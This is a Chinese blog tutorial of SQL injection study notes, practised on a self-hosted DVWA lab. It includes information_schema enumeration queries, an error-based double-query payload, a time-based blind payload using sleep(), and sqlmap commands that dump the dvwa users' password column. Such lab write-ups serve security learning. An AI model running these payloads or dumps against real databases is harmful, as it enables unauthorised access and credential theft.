SQL注入的原理和一些练习

原理介绍:SQL注入演练
SQLi注入平台相关介绍:SQLi-Labs SQL注入练习平台(第一关)
练习平台:SQL injection,自己搭建的dvwa练习平台
同时,自己也搭建了PHP+Apache+Mysql的环境。

一些常见的sql注入的命令使用方法

使用select database();可以获得当前所使用的的数据库名称。
又比如user()返回当前用户信息;
version()返回当前数据库以及系统版本信息。

熟悉mysql中一些本来就有的数据库,如information_schema

mysql的关于TABLE_SCHEMA的sql语句和nformation_schema表这篇文章讲述了这个数据库中的表所包含的内容,如使用以下命令可以获得当前用户下其他数据库内包含表的情况:

select table_name from information_schema.tables where table_schema='dvwa'

其中数据库information_schema有一个名为tables的表,table_name和table_schema是该表中的数据,这个tables的表是包含了当前用户所拥有的所有数据库的所有数据,table_schema包含了当前用户所有的数据库的名字,如上面查询的就是当前用户的dvwa数据库的内的情况,teble_name就包含了数据库中所有表的名字。
所以,当我们知道当前使用的数据库的名字,我们就可以通过上述命令来获得当前数据库的所有表的名字.
又比如, 以下命令可以查询表中的列的名字

select column_name from information_schema.columns where table_name='users'

之后,你就可以通过select相应的列来获取自己想要的信息。
(以上也是dvwa中sql注入的简单内容)

SQL双重查询注入(错误查询)

主要是使用类似以下语法,使得多次rand之后的结果与之前的结果有冲突,键值数量发生变化,引起相应的错误信息——重复键值,rand、group、count缺一不可,参考原理:双重查询注入原理

select count(*),concat_ws(':',(select user()),floor(rand()*2)) as a from information_schema.tables group by a;

由于具有随机性,所以可能会出现如下的错误信息:

ERROR 1062 (23000): Duplicate entry 'mysite@localhost:0' for key 'group_key'

可以看到,user()的信息也一并返回了

SQL盲注

select * from mysite where name='1' and if(ascii(substr(version(),1,1))=53,sleep(5),1)#

形如上述表达式的式子被称为盲注的一种,当sql语句执行得到的结果并不能直接观察到时,可以通过上述的sleep()语句观察延时,如上述的表达式,当观测到延时时,则说明ascii(substr(version(),1,1))=53,即mysql版本号的左边第一个字符为ASCII等于53的“5”,依次类推,利用二分法可以推出所有的字符。

SQLmap使用方法

或者使用sqlmap实现自动化注入查询

sqlmap -u "http://192.168.50.123/vulnerabilities/sqli/?id=1&Submit=Submit#" --cookie="PHPSESSID=q78nsagdu2k5bic82749emp9u1;security=low" --batch -D dvwa -T users -C password --dump

sqlmap使用方法可以通过sqlmap -h来查询,在上述命令中,cookie是登录信息和dvwa的难度设置等级
注意:上述sqlmap的使用方法仅限于使用get方式的请求,当提交的表单信息是以post方式提交时,需要使用以下方法:

  1. 将浏览器的代理服务器(proxy)设置成localhost:8080,
  2. 打开burpsuite将proxy选项卡的开关intercept开关打开
  3. 用浏览器打开相应网页,提交表单(submit),此时请求就会发到代理服务器端口上,因此就会被burpsuite拦截到,如下所示:图一 使用burpsuite拦截到的post请求
  4. 右键上述界面,将其保存在系统中,接着使用以下命令来使用该请求文件:
    sqlmap -r /root/桌面/sql-injection-medium -p id --batch --dbs
    通过上述命令即可获知当前的数据库信息。
    在这里插入图片描述
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值